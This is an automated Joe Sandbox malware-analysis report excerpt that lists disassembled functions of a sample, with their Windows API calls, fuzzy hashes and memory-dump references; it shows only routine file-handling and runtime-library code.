Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 78419e65cd1da5581685576378cea158129594c3eb9a9613cb61863dc8a56b4c
Instruction ID: 4e42d71b2c5773aee7b478d602ae56ea31cdbeb85cc107b2b001eac43fb92433
Opcode Fuzzy Hash: 78419e65cd1da5581685576378cea158129594c3eb9a9613cb61863dc8a56b4c
Instruction Fuzzy Hash: C331DF31218325EFDB04CF18E808BAE77A5FB84715F04452CF9816B2D0CB74A989CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00A2B542 Relevance: 4.6, APIs: 3, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00A2D68B: _wcslen.LIBCMT ref: 00A2D691

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,00A2B405,?,00000001,00000000,?,?), ref: 00A2B569
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,00A2B405,?,00000001,00000000,?,?), ref: 00A2B59C
GetLastError.KERNEL32(?,?,?,?,00A2B405,?,00000001,00000000,?,?), ref: 00A2B5B9

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: 2cebba890f8a6e8603f70f356dd030e308ccaae740da4b8ee676d6f0cc0fdeda
Instruction ID: d77af5c6f833e32a4441d4c9d83c97bd963e31da1932869493bd1fad2913c76e
Opcode Fuzzy Hash: 2cebba890f8a6e8603f70f356dd030e308ccaae740da4b8ee676d6f0cc0fdeda
Instruction Fuzzy Hash: 1D01B531224230ABEF21AB787D45BEE3358AF09785F144434FA03EA095DB54DA8286B1

Uniqueness

Uniqueness Score: -1.00%

Function 00A4CA53 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00A4CA78

Strings

, xrefs: 00A4CABD

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: f7636b2e3e5088fa180c7963ed88bfd190a117cda7e4714032c3e1a145b74dd4
Instruction ID: 399d7817a1cd9251cf1933c910b68a3e3da4d52c13f5a06d40d7ca7e30f6a158
Opcode Fuzzy Hash: f7636b2e3e5088fa180c7963ed88bfd190a117cda7e4714032c3e1a145b74dd4
Instruction Fuzzy Hash: 3441287550524C9EDF22CF64CC85BF6BBBAEB85314F1408EDE58E87142D235AE469F20

Uniqueness

Uniqueness Score: -1.00%

Function 00A4C12C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,62E85006,00000001,?,?), ref: 00A4C19D

Strings

LCMapStringEx, xrefs: 00A4C13D, 00A4C147

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 8e68b3820482ef1e20a3370e0c2bc5964d3262a59ea2a8b625ec0cc3a58127eb
Instruction ID: b451231c524de2ae9054f40365f9c4080a148361026717242cf9e8b0048c41e4
Opcode Fuzzy Hash: 8e68b3820482ef1e20a3370e0c2bc5964d3262a59ea2a8b625ec0cc3a58127eb
Instruction Fuzzy Hash: 73012576501208BBCF029FA4DC02DEE7FA2FF4C761F014515FE0826161CB769972AB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A4C0CA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00A4B72F), ref: 00A4C115

Strings

InitializeCriticalSectionEx, xrefs: 00A4C0DB, 00A4C0E5

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 472af13a1a201dd752cce952f3100abeece8790e3a7373a0c9f974d000c70a39
Instruction ID: d7a12d3590d4dc27593d9813ca915e4bf8398336c9ae4abd8138b91fba7ea9dd
Opcode Fuzzy Hash: 472af13a1a201dd752cce952f3100abeece8790e3a7373a0c9f974d000c70a39
Instruction Fuzzy Hash: 59F0BE35A41218BBCF01DF94DC02CAE7FA1FB987A2B014515FE092A260CF719952AB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A4BF6F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00A4BFAE

Strings

FlsAlloc, xrefs: 00A4BF80, 00A4BF8A

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 8a1852e66facb93307b7cb206dd60f55e656b2e69edae2027e3968769056ebdb
Instruction ID: 0221e6e7cf5c68d32fdff99cc0979ea10699af3c269d0057329429d382958e0a
Opcode Fuzzy Hash: 8a1852e66facb93307b7cb206dd60f55e656b2e69edae2027e3968769056ebdb
Instruction Fuzzy Hash: BDE05C30641218BB86009B948C02D7E7F60FB88712F410115FC0463240CF709D4696D9

Uniqueness

Uniqueness Score: -1.00%

Function 00A3FD58 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3FD6A

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Strings

3To, xrefs: 00A3FD58, 00A3FD64

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3To
API String ID: 1269201914-245939750
Opcode ID: 845965362c895a4a8190f7e742a034903ad082f833be8618533e8e7b5f2c93e6
Instruction ID: 04404d54e4a6a4816c316ecdf8d6ea4e759db4dc0c0e9e3e1eed890477b310d2
Opcode Fuzzy Hash: 845965362c895a4a8190f7e742a034903ad082f833be8618533e8e7b5f2c93e6
Instruction Fuzzy Hash: 1BB012A1A78500BD372421203D07F36012CE4C0B16F70893AF841C004094440C481171

Uniqueness

Uniqueness Score: -1.00%

Function 00A4CDB0 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00A4C97B: GetOEMCP.KERNEL32(00000000,?,?,00A4CC04,?), ref: 00A4C9A6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00A4CC49,?,00000000), ref: 00A4CE24
GetCPInfo.KERNEL32(00000000,00A4CC49,?,?,?,00A4CC49,?,00000000), ref: 00A4CE37

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: c1898747250e050a71faa3098c26b4aca8c28ae6abeb77f19c4ff834d9391d30
Instruction ID: f8da2cf4ed98cafba4456fe3aeab27882dd374fbb9025e63a8296c7705a123f3
Opcode Fuzzy Hash: c1898747250e050a71faa3098c26b4aca8c28ae6abeb77f19c4ff834d9391d30
Instruction Fuzzy Hash: DE5124799023059EDB64CF75C8826BBBBF6EFC1320F14446ED09E87252D7399946CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A2ACD4 Relevance: 3.1, APIs: 2, Instructions: 134COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,-000018C0,00000000,00000800,?,00A2ACB0,?,?,00000000,?,?,00A29C8B,?), ref: 00A2AE3A
GetLastError.KERNEL32(?,?,00A29C8B,?,?,?,-000018C0,?,-00002908,00000000,-00000880,?,00000000,?,?,00000000), ref: 00A2AE49

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 87e0540a744da109883145001f690559ff2644ef6e58777263cf899868108daa
Instruction ID: 9897fb301fa44dc211d98048d7134f54618b8373eafb4693dc7f457f8f1b9458
Opcode Fuzzy Hash: 87e0540a744da109883145001f690559ff2644ef6e58777263cf899868108daa
Instruction Fuzzy Hash: C04125352047758BDB24AF6CF9847AA73A4FB78312F100539E84683A51D774DC86CB53

Uniqueness

Uniqueness Score: -1.00%

Function 00A4CBE7 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00A4A515: GetLastError.KERNEL32(?,00A63070,00A45982,00A63070,?,?,00A45281,00000050,?,00A63070,00000200), ref: 00A4A519
Part of subcall function 00A4A515: _free.LIBCMT ref: 00A4A54C
Part of subcall function 00A4A515: SetLastError.KERNEL32(00000000,?,00A63070,00000200), ref: 00A4A58D
Part of subcall function 00A4A515: _abort.LIBCMT ref: 00A4A593

Part of subcall function 00A4CD0E: _abort.LIBCMT ref: 00A4CD40
Part of subcall function 00A4CD0E: _free.LIBCMT ref: 00A4CD74

Part of subcall function 00A4C97B: GetOEMCP.KERNEL32(00000000,?,?,00A4CC04,?), ref: 00A4C9A6

_free.LIBCMT ref: 00A4CC5F
_free.LIBCMT ref: 00A4CC95

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: 9684e87d5d6751081bc2c1672a5445d055efd8e138d39492d5b48454d7003e9e
Instruction ID: 0e846b36013385ffefa9e810d9c7fb09c9f3fd304c1125526b158e6fdf688a18
Opcode Fuzzy Hash: 9684e87d5d6751081bc2c1672a5445d055efd8e138d39492d5b48454d7003e9e
Instruction Fuzzy Hash: 8031D439901204EFDB50EFA9D580BADBBF5EF80331F250099E40C9B2A1EB769D41DB80

Uniqueness

Uniqueness Score: -1.00%

Function 00A2B032 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00A27ED0,?,?,?,00000000), ref: 00A2B04C
SetFileTime.KERNELBASE(?,?,?,?), ref: 00A2B100

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: bae41592b8b7ef339a7d9443590c39dc74d1c8215734af9dcafbddbedb153a56
Instruction ID: 38d93141ed47bb9778b78cd73093095cead1c8a5d4b85bde4249eeeb03077b3b
Opcode Fuzzy Hash: bae41592b8b7ef339a7d9443590c39dc74d1c8215734af9dcafbddbedb153a56
Instruction Fuzzy Hash: D721F03126C3519FC716CF69D891AABBBE4AF55304F04492CB4E183191D329E90C9B72

Uniqueness

Uniqueness Score: -1.00%

Function 00A2A8CE Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00A2B1B7,?,?,00A281FD), ref: 00A2A946
CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00A2B1B7,?,?,00A281FD), ref: 00A2A976

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: fc46117259418a7b0f30c8c2f2da59c07ee4a4d6391dfae7b89ca8cc29ef70c0
Instruction ID: ebfaba379615d7f771ebfafe92d92d77d74ce39f3cdb7086aaac05c1cdfea4de
Opcode Fuzzy Hash: fc46117259418a7b0f30c8c2f2da59c07ee4a4d6391dfae7b89ca8cc29ef70c0
Instruction Fuzzy Hash: 7A2100B14043546FE3308B6ADC88BB776ECEB59321F510A29FAD6C21C1C778A885C672

Uniqueness

Uniqueness Score: -1.00%

Function 00A21F30 Relevance: 3.1, APIs: 2, Instructions: 77COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A21F35

Part of subcall function 00A242F1: __EH_prolog.LIBCMT ref: 00A242F6

_wcslen.LIBCMT ref: 00A21FDA

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: e4ed8d644982c5a1281a7aab84526583fa5ad3139e23b7cbd1c50c58f2d91d17
Instruction ID: 47f3902b98ce857a46a36363f6b98743a0396cfcde6414adbbb01200fb01a020
Opcode Fuzzy Hash: e4ed8d644982c5a1281a7aab84526583fa5ad3139e23b7cbd1c50c58f2d91d17
Instruction Fuzzy Hash: 2C218B32904228AFCF15AF98D991AEEFBB6BF18700F10043EF455A36A2CB755951CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A44D02 Relevance: 3.1, APIs: 2, Instructions: 67libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00A840C4,?,?,?,00A44EF6,00000004,InitializeCriticalSectionEx,00A57424,InitializeCriticalSectionEx,00000000,?,00A44CAD,00A840C4,00000FA0), ref: 00A44D85
GetProcAddress.KERNEL32(00000000,?), ref: 00A44D8F

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID:
API String ID: 3013587201-0
Opcode ID: 706d4ccc6848637977d0236fa7fd03b156cc120f834627f0d93df2397a08e844
Instruction ID: 1729250ae52a2255377f5a8f00b12f5e68745ed6478eeb9f0b24cab55e8e6af2
Opcode Fuzzy Hash: 706d4ccc6848637977d0236fa7fd03b156cc120f834627f0d93df2397a08e844
Instruction Fuzzy Hash: 0911B63AA006159FDF22CFA4EC80AAA73B5FF8D3607240269E905DB254E730DD42CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00A2B110 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00A2B157
GetLastError.KERNEL32 ref: 00A2B164

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 74cfc2eea0c3a30931b42e0168a1500be407fdc796d92bb8e9fe00ece9e95028
Instruction ID: 772b57039368a27274a32ef82e9c9c200a4d4a18356834bd3d4c7acd2b5f801e
Opcode Fuzzy Hash: 74cfc2eea0c3a30931b42e0168a1500be407fdc796d92bb8e9fe00ece9e95028
Instruction Fuzzy Hash: 9911E131610720AFE725CB6CE854BAAB3F9BB04360F604738E1A2935D0E770EE55C760

Uniqueness

Uniqueness Score: -1.00%

Function 00A3BFB3 Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 00A2D6A7: _wcslen.LIBCMT ref: 00A2D6AF

Part of subcall function 00A33338: _wcslen.LIBCMT ref: 00A33340
Part of subcall function 00A33338: _wcslen.LIBCMT ref: 00A33351
Part of subcall function 00A33338: _wcslen.LIBCMT ref: 00A33361
Part of subcall function 00A33338: _wcslen.LIBCMT ref: 00A3336F
Part of subcall function 00A33338: CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,00A2C844,?,?,00000000,?,?,?), ref: 00A3338A

Part of subcall function 00A3BC19: SetCurrentDirectoryW.KERNELBASE(?,00A3BFF6,00A71890,00000000,00A72892,00000006), ref: 00A3BC1D

_wcslen.LIBCMT ref: 00A3C00F
SHFileOperationW.SHELL32(?,?,?,?,?,00A72892,00000006), ref: 00A3C048

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _wcslen$CompareCurrentDirectoryFileOperationString
String ID:
API String ID: 1016385243-0
Opcode ID: dbfefc16725a43d2be807564dc19dfd49a05cc2c8bba6e814e74888012645faa
Instruction ID: 1728dd765e4a95c437fce24707e53e0096b5a73aad5067110a9a7f717d698fcb
Opcode Fuzzy Hash: dbfefc16725a43d2be807564dc19dfd49a05cc2c8bba6e814e74888012645faa
Instruction Fuzzy Hash: 83012171D00258AADF21ABA4DE0BEDF72FCAF08740F004465F649F6195EAB496848BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00A4A6A4 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00A4A6C5

Part of subcall function 00A4A7FE: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00A4DBEC,00000000,?,00A480B1,?,00000008,?,00A4A871,?,?,?), ref: 00A4A830

HeapReAlloc.KERNEL32(00000000,?,?,?,?,00A630C4,00A2187A,?,?,00000007,?,?,?,00A213F2,?,00000000), ref: 00A4A701

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
